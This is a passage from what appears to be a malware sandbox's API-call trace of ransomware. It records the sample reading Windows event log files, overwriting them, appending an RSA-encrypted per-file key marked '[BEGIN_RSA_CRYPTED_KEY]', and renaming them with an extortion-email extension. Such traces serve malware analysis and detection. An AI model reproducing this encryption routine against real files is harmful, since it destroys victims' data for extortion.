dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0127.607] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0127.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0127.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0127.607] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.657] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.657] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.658] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0127.659] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0127.660] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0127.661] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.661] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.661] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0127.661] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0127.662] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0127.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0127.662] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="pFTCn6qkl/X6ITRCJRAzSBpjA0ZE5VtKccHDxdvrImvXA/OKIeoghayqdf5boLO/\nN5UH5ZwiZPTPZdfhgtWqgPZeWVQIDIkDMHGMd4Y5JNRDYvpeogZKL5MrLLBmlClO\noRItJQBoGlXCkaI5shuyEN304GBhE/ZxDga6ZMnWM8YKcgqwIljPJXwKp2uhrI8b\n2FontKy0GAkDnOuucmG3N3uRPeikqyc6v75rmCeHMJUfzXvIjNdkxHxqH6EkXtVF\nKfI8M7YLeGr7zsXpTblWJRrSSxo3LVkBfytcSmdRoyQLEc1F395gdjO/2RRtr9F/\ns9qkIRCVqaNFBLdHuy0thg==\n", pcchString=0x2e3f9a8) returned 1 [0127.662] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0127.663] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.663] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.663] CloseHandle (hObject=0x460) returned 1 [0127.668] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0127.668] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0127.685] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0127.685] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0127.685] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0127.685] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0127.685] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0127.685] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0127.685] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0127.685] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", dwFileAttributes=0x80) returned 1 [0127.685] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0127.685] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5aff60 [0127.685] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0127.685] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0127.685] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0127.685] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0127.686] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0127.686] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.748] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.749] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0127.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0127.750] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0127.751] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.751] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.751] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0127.751] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0127.753] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0127.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0127.753] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="jRtsbSNcN8ahzg4MZ23unmoz98jId1YyDBM38QJIUHpCK3kXKY+WdsUH4bvkCPfu\nmZtEBkJemU2cKYyJIealLRhVc22bi136AYqiSjhp+A39BztuPQMIrCGmRopWrTF6\nWT8r5VrB/S4G9O+ForB3VjK/Yi3NM7ctgB5IgAUSyMEUAJmzcivScFPtHkZqeNo+\ntongSdirIyiJVa1hnKAp3XfgEuR/Sxe500gdw46KDyprfnr3PIPYPBJo/M5zVxPr\nWrjURcOhWutSiN7rYuEvmTodZyuAIFXSr+jHgul2JCTWluyLxY9IQqVmmffIivrV\nLiNCA0Xwt3B5Jcp7NhS6tw==\n", pcchString=0x2e3f9a8) returned 1 [0127.753] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0127.753] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.753] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.753] CloseHandle (hObject=0x460) returned 1 [0127.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0127.756] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0127.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aff60 | out: hHeap=0x570000) returned 1 [0127.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0127.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0127.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0127.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0127.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0127.758] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0127.758] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0127.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0127.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b1550 [0127.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0127.759] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0127.759] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2166784) returned 1 [0127.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x211000) returned 0x3146020 [0127.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x211000) returned 0x3364020 [0127.760] ReadFile (in: hFile=0x460, lpBuffer=0x3146020, nNumberOfBytesToRead=0x211000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3146020*, lpNumberOfBytesRead=0x2e3f9b4*=0x211000, lpOverlapped=0x0) returned 1 [0127.881] SetFilePointer (in: hFile=0x460, lDistanceToMove=-2166784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.881] WriteFile (in: hFile=0x460, lpBuffer=0x3364020*, nNumberOfBytesToWrite=0x211000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3364020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x211000, lpOverlapped=0x0) returned 1 [0127.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3146020 | out: hHeap=0x570000) returned 1 [0127.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3364020 | out: hHeap=0x570000) returned 1 [0127.909] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x211000 [0127.909] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.909] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.909] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0127.909] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0127.909] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0127.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0127.909] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="jsyRqi6aJXSX8erXFwevQneDyf+PEPxZEHigcVL2ZbvnmjOKp2suBWssuAtaXGVL\nXYVCJsInprDxOr6vdZlrQGyxcHFY8E8mYkjTpLqfCDMsPKwQTQbgiSLxH/QLZcTF\nfgSuM5mKcDkOhp3bOYUE1JOajdYHwFh0QY6VA6VG1X7METHDV/8/fr5CB/HWkDr9\n+VIkW/7lX6zvgH413/oFLWpihDLJUZMo1Dm30QRZyt55kbal3oxq0Dl+AdJdgapj\ncNwIKh+xTlpcCjpfIYEBKKERCnTKfHjpwVbRXZUcRWRom7oZY1dOJZhOa+feabxl\nSLTY4wFBMNYIl7pbzuJhdg==\n", pcchString=0x2e3f9a8) returned 1 [0127.909] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0127.909] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.910] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.910] CloseHandle (hObject=0x460) returned 1 [0127.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0127.973] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0127.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b1550 | out: hHeap=0x570000) returned 1 [0127.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0127.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0127.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0127.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0127.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0127.976] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0127.976] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0127.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0127.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0127.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0127.977] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0127.977] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0127.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0127.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0127.977] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.988] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.988] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0127.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0128.000] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0128.000] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.000] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.000] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.000] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.001] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.001] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="trepDvtzy5IK4Fko9HeOGnd/5u2HtSzpecDHIRaJpO48cQoiWmgdBXDXl9ethY+P\nDwNTyEo+u+714rjbc1iQ18UGzue7Ai025l61cbiT0d7IlxdVrsx4p4Y0CKpIGWIv\neLuLW7rKQ6eQodQhSGOx1dwKzp0NYv+FvhWtR1PscxQRSUvpehXzwXyl17HLed1D\nCuI1aKHTzguOPUHCsGPA2rLHAznj6N5q2/rwNQj1xQ2c9RgVdkCo/vsOt3KbXeXa\nyGuX43wrEYhOdhEti+PseXgM+rRxigAJUrZsBNOyVoYHhBYOa2YAgTx0yfDA0SzG\nPJ9ZSAQeV8pIVZJnGJnJLw==\n", pcchString=0x2e3f9a8) returned 1 [0128.001] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.002] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.002] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.002] CloseHandle (hObject=0x460) returned 1 [0128.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.007] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0128.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0128.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0128.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0128.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0128.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0128.011] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.011] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0128.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0128.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0128.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0128.011] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.011] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1118208) returned 1 [0128.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x111000) returned 0x3144020 [0128.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x111000) returned 0x3267020 [0128.012] ReadFile (in: hFile=0x460, lpBuffer=0x3144020, nNumberOfBytesToRead=0x111000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3144020*, lpNumberOfBytesRead=0x2e3f9b4*=0x111000, lpOverlapped=0x0) returned 1 [0128.099] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1118208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.099] WriteFile (in: hFile=0x460, lpBuffer=0x3267020*, nNumberOfBytesToWrite=0x111000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3267020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x111000, lpOverlapped=0x0) returned 1 [0128.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3144020 | out: hHeap=0x570000) returned 1 [0128.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3267020 | out: hHeap=0x570000) returned 1 [0128.106] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x111000 [0128.106] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.106] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.106] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, 